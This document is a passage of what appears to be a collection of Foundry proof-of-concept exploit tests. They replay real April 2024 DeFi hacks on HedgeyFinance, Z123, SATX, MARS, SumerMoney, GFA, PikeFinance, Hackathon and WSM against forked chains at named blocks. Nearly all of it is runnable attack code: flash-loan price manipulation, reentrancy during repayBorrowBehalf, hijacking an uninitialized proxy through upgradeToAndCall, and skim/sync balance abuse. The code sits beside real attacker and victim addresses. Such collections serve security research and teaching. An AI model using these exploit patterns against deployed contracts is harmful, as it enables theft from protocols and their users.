        BalancerVault.flashLoan(address(this), tokens, amounts, "");

        // At this point we have an Approval
        uint256 HedgeyFinance_balance = USDC.balanceOf(address(HedgeyFinance));
        USDC.transferFrom(address(HedgeyFinance), address(this), HedgeyFinance_balance);

        emit log_named_decimal_uint(
            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
        );
    }

    function receiveFlashLoan(
        address[] memory,
        uint256[] memory amounts,
        uint256[] memory fees,
        bytes memory
    ) external payable {
        // Start new campage
        USDC.approve(address(HedgeyFinance), loan);

        // Id
        bytes16 campaign_id = 0x00000000000000000000000000000001;

        Campaign memory campaign;
        campaign.manager = address(this);
        campaign.token = address(USDC);
        campaign.amount = loan;
        campaign.end = 3_133_666_800;
        campaign.tokenLockup = TokenLockup.Locked;
        campaign.root = ""; // 0x0000000000000000000000000000000000000000000000000000000000000000

        ClaimLockup memory claimLockup;
        claimLockup.tokenLocker = address(this);
        claimLockup.start = 0;
        claimLockup.cliff = 0;
        claimLockup.period = 0;
        claimLockup.periods = 0;

        Donation memory donation;
        donation.tokenLocker = address(this);
        donation.amount = 0;
        donation.rate = 0;
        donation.start = 0;
        donation.start = 0;
        donation.cliff = 0;
        donation.period = 0;

        HedgeyFinance.createLockedCampaign(campaign_id, campaign, claimLockup, donation);

        HedgeyFinance.cancelCampaign(campaign_id);

        // pay back the FlashLoan
        USDC.transfer(address(BalancerVault), loan);
    }
}

HedgeyFinance Exploit (2024-04)


import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ≈135k
// Attacker : 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32
// Attack Contract : https://bscscan.com/address/0x61dd07ce0cecf0d7bacf5eb208c57d16bbdee168
// Vulnerable Contract : https://bscscan.com/address/0xb000f121A173D7Dd638bb080fEe669a2F3Af9760
// Attack Tx : https://bscscan.com/tx/0xc0c4e99a76da80a4cf43d3110364840151226c0a197c1728bb60dc3f1b3a6a27

// @Analysis
//
// First, tokens are exchanged from a pool with normal ratios using USD.
// Then, each subsequent swap burns liquidity from the pool, resulting in disproportionate token ratios that can be exploited for arbitrage.

contract Z123_exp is Test {
    IERC20 z123_ = IERC20(0xb000f121A173D7Dd638bb080fEe669a2F3Af9760);
    IPancakeV3Pool pancakeV3_ = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
    IERC20 bsc_usd_ = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IPancakeRouter router_ = IPancakeRouter(payable(address(0x901c0967DF19fA0Af98Fd958E70F30301d7580dD)));
    IPancakeRouter victim_ = IPancakeRouter(payable(address(0x6125c643a2D4A927ACd63C1185c6be902eFd5dC8)));

    function setUp() public {
        vm.createSelectFork("bsc", 38_077_210);

        bsc_usd_.approve(address(router_), type(uint256).max);
        z123_.approve(address(router_), type(uint256).max);

        bsc_usd_.approve(address(victim_), type(uint256).max);
        z123_.approve(address(victim_), type(uint256).max);
    }

    function testExploit() public {
        emit log_named_decimal_uint("befor ack usdc balance = ", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals());
        pancakeV3_.flash(address(this), 18_000_000 ether, 0, "");
        emit log_named_decimal_uint(
            "after profit usdc balance = ", bsc_usd_.balanceOf(address(this)), bsc_usd_.decimals()
        );
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
        address[] memory path = new address[](2);
        path[0] = address(bsc_usd_);
        path[1] = address(z123_);
        router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            18_000_000 ether, 1, path, address(this), block.timestamp
        );

        console.log("==== start attack====");
        path[0] = address(z123_);
        path[1] = address(bsc_usd_);
        for (int256 i = 0; i < 79; i++) {
            victim_.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                7125 ether, 1, path, address(this), block.timestamp
            );
        }
        console.log("==== end attack====");

        //repay
        bsc_usd_.transfer(address(pancakeV3_), 18_000_000 ether + fee0);
    }
}

Z123 Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~999M US$
// Attacker : 0xBEF24B94C205999ea17d2ae4941cE849C9114bfd
// Attack Contract : 0x9C63d6328C8e989c99b8e01DE6825e998778B103
// Vulnerable Contract : 0xFd80a436dA2F4f4C42a5dBFA397064CfEB7D9508
// Attack Tx : https://bscscan.com/tx/0x7e02ee7242a672fb84458d12198fae4122d7029ba64f3673e7800d811a8de93f
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xfd80a436da2f4f4c42a5dbfa397064cfeb7d9508#code

contract ContractTest is Test {
    address public attacker = address(this);
    IERC20 constant SATX = IERC20(0xFd80a436dA2F4f4C42a5dBFA397064CfEB7D9508);
    IWBNB constant WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    IPancakePair pair_WBNB_SATX = IPancakePair(0x927d7adF1Bcee0Fa1da868d2d43417Ca7c6577D4);
    IPancakePair pair_WBNB_CAKE = IPancakePair(0x0eD7e52944161450477ee417DE9Cd3a859b14fD0);
    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));

    function setUp() public {
        vm.createSelectFork("bsc", 37_914_434 - 1);
        vm.label(address(SATX), "SATX");
        vm.label(address(WBNB), "WBNB");
        vm.label(address(router), "PancakeSwap Router");
        vm.label(address(pair_WBNB_SATX), "pair_WBNB_SATX");
        vm.label(address(pair_WBNB_CAKE), "pair_WBNB_CAKE");
    }

    function approveAll() public {
        SATX.approve(address(router), type(uint256).max);
        WBNB.approve(address(router), type(uint256).max);
    }

    function testExploit() public {
        deal(attacker, 0.900000001 ether);
        WBNB.deposit{value: 0.9 ether}();
        approveAll();
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(SATX);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            1_000_000_000_000_000, 0, path, attacker, type(uint256).max
        );
        uint256 SATX_amount = SATX.balanceOf(attacker);
        router.addLiquidity(
            address(WBNB), address(SATX), 1_000_000_000_000_000, SATX_amount, 0, 0, attacker, type(uint256).max
        );
        pair_WBNB_CAKE.swap(0, 60_000_000_000_000_000_000, attacker, bytes("1"));

        uint256 WBNB_amount = WBNB.balanceOf(attacker);
        WBNB.withdraw(WBNB_amount);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        if (msg.sender == address(pair_WBNB_CAKE)) {
            uint256 SATX_amount = SATX.balanceOf(address(pair_WBNB_SATX));
            pair_WBNB_SATX.swap(100_000_000_000_000, SATX_amount / 2, attacker, data);

            uint256 SATX_amount_1 = SATX.balanceOf(attacker);
            SATX.transfer(address(pair_WBNB_SATX), SATX_amount_1);
            pair_WBNB_SATX.skim(attacker);
            pair_WBNB_SATX.sync();
            WBNB.transfer(address(pair_WBNB_SATX), 100_000_000_000_000);
            uint256 SATX_amount_2 = SATX.balanceOf(attacker);
            address[] memory path = new address[](2);
            path[0] = address(SATX);
            path[1] = address(WBNB);
            router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                SATX_amount_2, 0, path, attacker, type(uint256).max
            );
            WBNB.transfer(address(pair_WBNB_CAKE), 60_150_600_000_000_000_000);
        } else if (msg.sender == address(pair_WBNB_SATX)) {
            WBNB.transfer(address(pair_WBNB_SATX), 52_000_000_000_000_000_000);
        }
    }

    fallback() external payable {}
}

SATX Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "../interface.sol";

// Total Lost: >$100k
// Attacker: 0x306174b707ebf6d7301a0bcd898ae1666ec176ae
// Attack Contract: 0x797acb321cb10154aa807fcd1e155c34135483cd
// Attack Contract: 0x797acb321cb10154aa807fcd1e155c34135483cd
// Vulnerable Contract: 0x3dC7E6FF0fB79770FA6FB05d1ea4deACCe823943
// Attack Tx: https://app.blocksec.com/explorer/tx/bsc/0x25e2af0a55581d5629a933af9fedd3c70e6d0c320f0b72700ca80e5cdd36c80b

// @Analyses
// https://twitter.com/Phalcon_xyz/status/1780150315603701933
// The pair contract can get reflections from taxes. Thus the attacker can user flashloan to repeated swap and sync for better pricing.

IPancakeV3Pool constant v3pair = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
IERC20 constant bnb = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IPancakeRouter constant router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
IERC20 constant MARS = IERC20(0x436D3629888B50127EC4947D54Bb0aB1120962A0);

contract MARS_EXP is Test {
    uint256 lending_amount = 350 ether;

    function setUp() public {
        vm.createSelectFork("bsc", 37_903_299); // fork BSC at block 37903299
    }

    function testExploit_MARS() public {
        v3pair.flash(address(this), 0, lending_amount, "");
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata) external {
        emit log_named_uint("WBNB balance before Attack", bnb.balanceOf(address(this)) / 1 ether);

        emit log_string("Buying MARS with WBNB");
        bnb.approve(address(router), 2 ** 256 - 1);
        MARS.approve(address(router), 2 ** 256 - 1);

        address[] memory path = new address[](2);
        path[0] = address(bnb);
        path[1] = address(MARS);

        for (uint256 i = 0;;) {
            if (bnb.balanceOf(address(this)) == 0) {
                break;
            }
            uint256 tobuy = router.getAmountsIn(1000 ether, path)[0];
            TokenReceiver receiver = new TokenReceiver();
            if (bnb.balanceOf(address(this)) > tobuy) {
                router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                    tobuy, 0, path, address(receiver), block.timestamp + 1
                );
                // emit log_named_uint("get MARS", MARS.balanceOf(address(receiver)));
                MARS.transferFrom(address(receiver), address(this), MARS.balanceOf(address(receiver)));
            } else {
                router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                    bnb.balanceOf(address(this)), 0, path, address(receiver), block.timestamp + 1
                );
                // emit log_named_uint("get MARS", MARS.balanceOf(address(receiver)));
                MARS.transferFrom(address(receiver), address(this), MARS.balanceOf(address(receiver)));
                break;
            }
        }

        emit log_named_uint("MARS After buying", MARS.balanceOf(address(this)) / 1 ether);
        emit log_named_uint("BNB After buying", bnb.balanceOf(address(this)) / 1 ether);

        path[0] = address(MARS);
        path[1] = address(bnb);
        for (uint256 i = 0;;) {
            if (MARS.balanceOf(address(this)) == 0) {
                break;
            }
            if (MARS.balanceOf(address(this)) > 1000 ether) {
                router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                    1000 ether, 0, path, address(this), block.timestamp + 1
                );
            } else {
                router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                    MARS.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1
                );
                break;
            }
        }

        emit log_named_uint("WBNB balance After Attack", bnb.balanceOf(address(this)) / 1 ether);
        emit log_named_uint("MARS After Attack", MARS.balanceOf(address(this)) / 1 ether);

        bnb.transfer(msg.sender, lending_amount + fee1);
        emit log_named_uint("WBNB balance After Paying back", bnb.balanceOf(address(this)) / 1 ether);
    }
}

contract TokenReceiver {
    constructor() {
        MARS.approve(msg.sender, 2 ** 256 - 1);
    }
}

MARS Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : 350K
// Attacker : /address/https://basescan.org/address/0xbb344544ad328b5492397e967fe81737855e7e77
// Attack Contract : /address/https://basescan.org/address/0x13d27a2d66ea33a4bc581d5fefb0b2a8defe9fe7
// Vulnerable Contract : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607
// Attack Tx : /tx/https://basescan.org/tx/0x619c44af9fedb8f5feea2dcae1da94b6d7e5e0e7f4f4a99352b6c4f5e43a4661

// @Info
// Vulnerable Contract Code : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607#code

// @Analysis
// Post-mortem :

// Hacking God :

interface IClaimer {
    function claim(
        uint256[] calldata tokenIds
    ) external;
}

contract SumerMoney is Test {
    uint256 blocknumToForkFrom = 13_076_768;

    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));
    IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
    IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);
    crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));
    ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);
    ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);
    IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);
    Helper helper;

    function setUp() public {
        vm.label(address(Balancer), "Balancer");
        vm.label(address(WETH), "WETH");
        vm.label(address(USDC), "USDC");
        vm.label(address(cbETH), "cbETH");
        vm.label(address(sdrETH), "sdrETH");
        vm.label(address(sdrUSDC), "sdrUSDC");
        vm.label(address(sdrcbETH), "sdrcbETH");
        vm.label(address(claimer), "claimer");
        vm.createSelectFork("base", blocknumToForkFrom);
    }

    function testExploit() public {
        deal(address(this), 1);
        address[] memory tokens = new address[](2);
        tokens[0] = address(WETH);
        tokens[1] = address(USDC);
        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 150 ether;
        amounts[1] = 645_000 * 1e6;
        bytes memory userData = "";
        Balancer.flashLoan(address(this), tokens, amounts, userData);

        emit log_named_decimal_uint("Attacker USDC Balance After exploit", USDC.balanceOf(address(this)), 6);
        emit log_named_decimal_uint("Attacker cbETH Balance After exploit", cbETH.balanceOf(address(this)), 18);
    }

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        WETH.withdraw(amounts[0]);

        // sdrETH.exchangeRate
        emit log_named_decimal_uint("Before re-enter, sdrETH exchangeRate", sdrETH.exchangeRateCurrent(), 18);

        sdrETH.mint{value: amounts[0]}();

        helper = new Helper{value: 1}();
        USDC.transfer(address(helper), amounts[1]);
        helper.borrow(amounts[1]);

        WETH.deposit{value: amounts[0]}();
        WETH.transfer(address(Balancer), amounts[0]);
        USDC.transfer(address(Balancer), amounts[1]);
    }

    function attack() external {
        // exchangeRate == getCashPrior() + totalBorrows - totalReserves / totalSupply
        // In function repayBorrowBehalf(), getCashPrior() increase 150 ether but totalBorrows not decreased due to re-enter
        emit log_named_decimal_uint("In re-enter, sdrETH exchangeRate", sdrETH.exchangeRateCurrent(), 18);

        sdrcbETH.borrow(cbETH.balanceOf(address(sdrcbETH)));
        sdrUSDC.borrow(USDC.balanceOf(address(sdrUSDC)) - 645_000 * 1e6);
        sdrETH.redeemUnderlying(150 ether);
        uint256[] memory tokenIds = new uint256[](2);
        tokenIds[0] = 309;
        tokenIds[1] = 310;
        claimer.claim(tokenIds);
    }

    receive() external payable {}
}

contract Helper {
    address owner;
    IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));
    IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
    IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);
    crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));
    ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);
    ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);
    IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);

    constructor() payable {
        owner = msg.sender;
    }

    function borrow(
        uint256 amount
    ) external {
        USDC.approve(address(sdrUSDC), amount);
        sdrUSDC.mint(amount);

        uint256 borrowAmount = address(sdrETH).balance;
        sdrETH.borrow(borrowAmount);

        sdrETH.repayBorrowBehalf{value: borrowAmount + 1}(address(this)); // reentrancy

        sdrUSDC.redeem(sdrUSDC.balanceOf(address(this)));
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = 311;
        claimer.claim(tokenIds);
        USDC.transfer(owner, USDC.balanceOf(address(this)));
    }

    receive() external payable {
        if (msg.value == 1) {
            owner.call(abi.encodeWithSignature("attack()"));
        }
    }
}

SumerMoney Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// TX : https://app.blocksec.com/explorer/tx/bsc/0xe15d6f7fa891c2626819209edf2d5ded6948310eaada067b400062aa022ce718
// GUY : https://x.com/ChainAegis/status/1779809931962827055
// Profit : ~14K USD

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IPancakePair Pair = IPancakePair(0x875AC38Bc56E2c6FBEDa4354Ac085CB94d0D2D2F);
    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 GFA = IERC20(0x278ce7151Bfd1b035e8Bc99e15b4d9773969D4eD);
    address Reward = 0xbCbCb0e7E28414e084c4a40C1cCC30B75629a7DE;

    function setUp() public {
        cheats.createSelectFork("bsc", 37_857_763);
        deal(address(BUSD), address(this), 30 * 1e18);
    }

    function testExploit() public {
        emit log_named_decimal_uint(
            "attacker balance BUSD before attack:", BUSD.balanceOf(address(this)), BUSD.decimals()
        );
        attack();
        emit log_named_decimal_uint(
            "attacker balance BUSD after attack:", BUSD.balanceOf(address(this)), BUSD.decimals()
        );
    }

    function attack() public {
        BUSD.approve(address(Pair), type(uint256).max);
        BUSD.approve(address(Router), type(uint256).max);
        swap_token_to_token(address(BUSD), address(GFA), 30 ether);
        Reward.call(
            abi.encodeWithSelector(bytes4(0x5f7938f1), address(this), 400_000_000 * 1e18, 40_000_000 * 1e18, 12_222)
        );
        Reward.call(abi.encodeWithSelector(bytes4(0x3890ec92), 100));
        GFA.transfer(address(GFA), 10_000);
        swap_token_to_token(address(GFA), address(BUSD), GFA.balanceOf(address(this)));
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(Router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }

    function getreserves(
        uint256 stepNum
    ) public {
        console.log("Step %i", stepNum);
        (uint256 reserveIn, uint256 reserveOut,) = Pair.getReserves();
        emit log_named_decimal_uint("ReserveIn", reserveIn, 18);
        emit log_named_decimal_uint("ReserveOut", reserveOut, 18);
    }
}

GFA Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "forge-std/Test.sol";

// @KeyInfo - Total Lost : 1.4M
// Attacker : https://etherscan.io/address/0x19066f7431df29a0910d287c8822936bb7d89e23
// Attack Contract : https://etherscan.io/address/0x1da4bc596bfb1087f2f7999b0340fcba03c47fbd
// Vulnerable Contract : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063
// Attack Tx : https://etherscan.io/tx/0xe2912b8bf34d561983f2ae95f34e33ecc7792a2905a3e317fcc98052bce66431

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xfc7599cffea9de127a9f9c748ccb451a34d2f063#code

// @Analysis
// Post-mortem :
// Twitter Guy :
// Hacking God :

interface IPikeFinanceProxy {
    function initialize(address, address, address, address, uint16, uint16) external;
    function upgradeToAndCall(address, bytes memory) external;
}

contract PikeFinance is Test {
    uint256 blocknumToForkFrom = 19_771_058;
    address constant PikeFinanceProxy = 0xFC7599cfFea9De127a9f9C748CCb451a34d2F063;

    function setUp() public {
        vm.deal(address(this), 0);
        vm.createSelectFork("mainnet", blocknumToForkFrom);
    }

    function testExploit() public {
        emit log_named_decimal_uint(" Attacker ETH Balance Before exploit", address(this).balance, 18);

        // Initialize proxy contract
        address _owner = address(this);
        address _WNativeAddress = address(this);
        address _uniswapHelperAddress = address(this);
        address _tokenAddress = address(this);
        uint16 _swapFee = 20;
        uint16 _withdrawFee = 20;
        IPikeFinanceProxy(PikeFinanceProxy).initialize(
            _owner, _WNativeAddress, _uniswapHelperAddress, _tokenAddress, _swapFee, _withdrawFee
        );

        // Upgrade proxy contract
        address newImplementation = address(this);
        bytes memory data = abi.encodeWithSignature("withdraw(address)", address(this));
        IPikeFinanceProxy(PikeFinanceProxy).upgradeToAndCall(newImplementation, data);

        // Log balances after exploit
        emit log_named_decimal_uint(" Attacker ETH Balance After exploit", address(this).balance, 18);
    }

    function withdraw(
        address addr
    ) external {
        (bool success,) = payable(addr).call{value: address(this).balance}("");
        require(success, "transfer failed");
    }

    function proxiableUUID() external pure returns (bytes32) {
        return 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    }

    receive() external payable {}
}

PikeFinance Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// TX : https://app.blocksec.com/explorer/tx/bsc/0xea181f730886ece947e255ab508f5af1d0f569fee3368b651d5dbb28549087b5
// Vulnearable Contract: 0x11cee747Faaf0C0801075253ac28aB503C888888
// GUY : https://x.com/EXVULSEC/status/1779519508375613827
// Profit : ~20K USD
// Root Cause: when `sender == recipient == pair`, the recipient’s balance is credited twice, once in each branch

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IPancakePair Pair = IPancakePair(0xd46f4a4B57D8EC355fe83F9AE75d4cC04DE371ED);
    IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 Hackathon = IERC20(0x11cee747Faaf0C0801075253ac28aB503C888888);

    function setUp() public {
        cheats.createSelectFork("bsc", 37_854_043);
        deal(address(BUSD), address(this), 0);
    }

    function testExploit() public {
        emit log_named_decimal_uint(
            "attacker balance BUSD before attack:", BUSD.balanceOf(address(this)), BUSD.decimals()
        );
        DPP.flashLoan(0, 200_000 ether, address(this), new bytes(1));
        emit log_named_decimal_uint(
            "attacker balance BUSD after attack:", BUSD.balanceOf(address(this)), BUSD.decimals()
        );
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        BUSD.approve(address(Pair), type(uint256).max);
        BUSD.approve(address(Router), type(uint256).max);
        uint256 j = 0;
        while (j < 10) {
            uint256 i = 0;
            swap_token_to_token(address(BUSD), address(Hackathon), 200_000 * 1e18);
            Hackathon.transfer(address(Pair), Hackathon.balanceOf(address(this)));
            while (i < 10) {
                Pair.skim(address(Pair));
                Pair.skim(address(this));
                i++;
            }
            swap_token_to_token(address(Hackathon), address(BUSD), Hackathon.balanceOf(address(this)));
            j++;
        }
        BUSD.transfer(address(msg.sender), quoteAmount);
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(Router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }
}

Hackathon Exploit (2024-04)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : 2_517_438_179_912_631_607_253_979 WSM ≈ 18K
// Attacker : 0x3026C464d3Bd6Ef0CeD0D49e80f171b58176Ce32
// Attack Contract : https://bscscan.com/address/0x014eE3c3dE6941cb0202Dd2b30C89309e874B114
// Vulnerable Contract : https://bscscan.com/address/0xc0afd0e40bb3dcaebd9451aa5c319b745bf792b4
// Attack Tx : https://bscscan.com/tx/0x5a475a73343519f899527fdb9850f68f8fc73168073c72a3cff8c0c7b8a1e520

// @Analysis
//
// Using a flash loan to cause price disparity in the BNB_WSM pool,
// and then manipulating the price through the buyWithBNB() in the presale contract.

contract WSM is Test {
    Uni_Pair_V3 BNB_WSH_10000 = Uni_Pair_V3(payable(address(0x84F3cA9B7a1579fF74059Bd0e8929424D3FA330E)));
    Uni_Router_V3 routerv3_ = Uni_Router_V3(payable(address(0x74Dca1Bd946b9472B2369E11bC0E5603126E4C18)));
    Uni_Pair_V3 BNB_WSH_3000 = Uni_Pair_V3(payable(address(0xf420603317a0996A3fCe1b1A80993Eaef6f7AE1a)));
    address proxy_ = address(0xFB071837728455c581f370704b225ac9eABDfa4a);

    IERC20 wshToken_;
    IWBNB bnbToken_;

    function setUp() public {
        vm.createSelectFork("bsc", 37_569_860);
        vm.deal(address(this), 0); // Preparation work，clear POC balance，ignore it
        wshToken_ = IERC20(BNB_WSH_10000.token0());
        bnbToken_ = IWBNB(payable(BNB_WSH_10000.token1()));

        wshToken_.approve(address(routerv3_), 10_000_000_000_000 ether);
        bnbToken_.approve(address(routerv3_), 10_000_000_000_000 ether);
    }

    function testExploit() public {
        console.log("1. before attack wsh token balance of this = ", wshToken_.balanceOf(address(this)));
        BNB_WSH_10000.flash(address(this), 5_000_000 ether, 0, "");
        console.log("8. after attack wsh token balance of this = ", wshToken_.balanceOf(address(this)));
    }

    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) public {
        console.log("2. bnb_wsh_10000 pool wsh balance after flashloan = ", wshToken_.balanceOf(address(this)));

        Uni_Router_V3.ExactInputSingleParams memory args = Uni_Router_V3.ExactInputSingleParams({
            tokenIn: address(wshToken_),
            tokenOut: address(bnbToken_),
            fee: 3000,
            recipient: address(this),
            deadline: block.timestamp,
            amountIn: 5_000_000 ether,
            amountOutMinimum: 1,
            sqrtPriceLimitX96: 0
        });
        routerv3_.exactInputSingle(args);

        console.log("3. balance after exchanging wsh for bnb = ", bnbToken_.balanceOf(address(this)));
        bnbToken_.withdraw(bnbToken_.balanceOf(address(this)));

        console.log("4. [ ============= ATTACK START ============= ]");
        proxy_.call{value: address(this).balance}(abi.encodeWithSignature("buyWithBNB(uint256,bool)", 2_770_000, false));
        console.log("5. wsh balance after attack function buyWithBNB() = ", wshToken_.balanceOf(address(this)));
        console.log("6. [ ============= ATTACK END ============= ]");

        Uni_Router_V3.ExactInputSingleParams memory args2 = Uni_Router_V3.ExactInputSingleParams({
            tokenIn: address(bnbToken_),
            tokenOut: address(wshToken_),
            fee: 3000,
            recipient: address(this),
            deadline: block.timestamp,
            amountIn: address(this).balance,
            amountOutMinimum: 1,
            sqrtPriceLimitX96: 0
        });
        routerv3_.exactInputSingle{value: address(this).balance}(args2);

        console.log("7. repay flashloan for bnb_wsh_10000 pool");
        wshToken_.transfer(address(BNB_WSH_10000), 5_000_000 ether + fee0);
    }

    fallback() external payable {}
}

WSM Exploit (2024-04)